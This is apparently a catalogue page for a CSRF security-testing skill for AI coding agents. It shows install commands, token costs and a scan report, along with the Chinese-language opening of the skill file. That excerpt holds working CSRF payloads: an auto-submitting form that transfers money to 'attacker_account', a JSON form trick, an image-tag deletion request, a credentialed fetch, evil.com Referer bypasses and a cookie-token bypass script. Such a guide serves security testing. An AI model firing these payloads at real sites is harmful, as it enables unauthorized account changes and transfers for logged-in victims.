csrf-testing

csrf-testing is a skill for Claude Code, Codex from liuxinye23/CyberStrikeAI. It costs 18 tokens per session (1,294 once invoked), scanned B, original, Apache-2.0.

A security-testing guide for CSRF, or cross-site request forgery, where a malicious site tricks a logged-in browser into sending unwanted actions to another site.

In plain words
What is it for?
Testing password, email, transfer, permission, deletion, and status changes for missing or weak CSRF tokens and bypassable origin checks.
Why use it?
It helps find places where sensitive actions trust a browser’s login cookie without confirming that the request came from the real site.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Testing password, email, transfer, permission, deletion, and status changes for missing or…

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/liuxinye23/cyberstrikeai/csrf-testing
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add liuxinye23/CyberStrikeAI --skill csrf-testing
Clone the repo
git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAI

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csrf-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/csrf-testing.svg)](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/csrf-testing)
Your own site
<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/csrf-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/csrf-testing.svg" alt="Measured on agentmods" height="20"></a>
Per session 18 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,294 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00018 $0.01294
Opus 5 $0.00009 $0.00647
Sonnet 5 $0.00004 $0.00259
Haiku 4.5 $0.00002 $0.00129

Measured 6d ago against content hash aa88ba8cc3bb, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade B, and why

csrf-testing scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://target.com/api/action', { method: 'POST',
skills/csrf-testing/SKILL.md · 199 lines

How it starts

The opening of the file, as written. The whole thing — 199 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CSRF跨站请求伪造测试

概述

CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。

漏洞原理

  • 攻击者诱导用户访问恶意页面
  • 恶意页面自动发送请求到目标网站
  • 浏览器自动携带用户的认证信息(Cookie、Session)
  • 目标网站误认为是用户合法操作

测试方法

1. 识别敏感操作

  • 密码修改
  • 邮箱修改
  • 转账操作
  • 权限变更
  • 数据删除
  • 状态更新

2. 检测CSRF Token

检查是否有Token保护:

<!-- 有Token保护 -->
<form method="POST" action="/change-password">
  <input type="hidden" name="csrf_token" value="abc123">
  <input type="password" name="new_password">
</form>

<!-- 无Token保护 - 存在CSRF风险 -->
<form method="POST" action="/change-email">
  <input type="email" name="new_email">
</form>

3. 验证Token有效性

测试Token是否可预测:

  • Token是否基于时间戳
  • Token是否基于用户ID
  • Token是否可重复使用
  • Token是否在多个请求间共享

4. 检查Referer验证

测试Referer检查是否可绕过:

// 正常请求
Referer: https://target.com/change-password

// 测试绕过
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (空)

利用技术

基础CSRF攻击

HTML表单自动提交:

<form action="https://target.com/api/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

JSON CSRF

绕过Content-Type检查:

<!-- 使用form表单提交JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

GET请求CSRF

利用GET请求进行攻击:

<img src="https://target.com/api/delete?id=123">

绕过技术

Token绕过

如果Token在Cookie中:

// 如果Token同时存在于Cookie和表单中
// 可以尝试只提交Cookie中的Token
fetch('https://target.com/api/action', {
  method: 'POST',
  credentials: 'include',
  body: 'action=delete&id=123'
  // 不包含csrf_token参数,依赖Cookie
});

SameSite Cookie绕过

利用子域名:

  • 如果SameSite=Lax,GET请求仍可携带Cookie
  • 利用子域名进行攻击

双重提交Cookie

绕过Token验证:

<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
<form action="https://target.com/api/action" method="POST">
  <input type="hidden" name="csrf_token" value="">
  <script>
    // 从Cookie中读取Token
    document.cookie.split(';').forEach(c => {
      if(c.trim().startsWith('csrf_token=')) {
        document.querySelector('input[name="csrf_token"]').value = 
          c.split('=')[1];
      }
    });
  </script>
</form>

Read the full file on GitHub · 199 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 199 lines · 18 tokens per session scan B aa88ba8cc3bb

Subscribe to this mod's changes

csrf-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 18 tokens to every session and 1,294 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 1 finding (sends data to an external url). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

research-engineer

An uncompromising Academic Research Engineer. Operates with absolute scientific rigor, objective criticism, and zero flair. Focuses on theoretical correctness, formal verification, and optimal implementation across any required technology.

davila7/claude-code-templates · 43 tokens

tika-eval-compare

Compare extracts from two Tika builds over a corpus to detect regressions in content, encoding, exceptions, and embedded-document handling. Use for "compare before/after extracts", "eval this change against the corpus".

apache/tika · 50 tokens

neuron-evaluation-engineer

Create and run AI evaluations with datasets, assertions, and output drivers in Neuron AI. Use this skill whenever the user mentions evaluation, testing AI systems, creating evaluators, dataset-driven testing, assertion-based validation, or wants to measure AI system performance. Also trigger for tasks involving…

neuron-core/neuron-ai · 77 tokens

jetson-validate-image

Use after jetson-flash-image to run static BSP checks, on-target smoke/regression tests on a flashed DUT, or both. Not for build or flash steps. Triggers: validate bsp, on-target validation.

NVIDIA/skills · 50 tokens

atmos-validation

Validate Atmos projects, components, arbitrary JSON Schema inputs, EditorConfig, and GitHub Actions; use affected-file selection and native CI annotations.

cloudposse/atmos · 31 tokens

skill-benchmark

Benchmark AI skill effectiveness by measuring implementation quality against legacy constraints.

HoangNguyen0403/agent-skills-standard · 16 tokens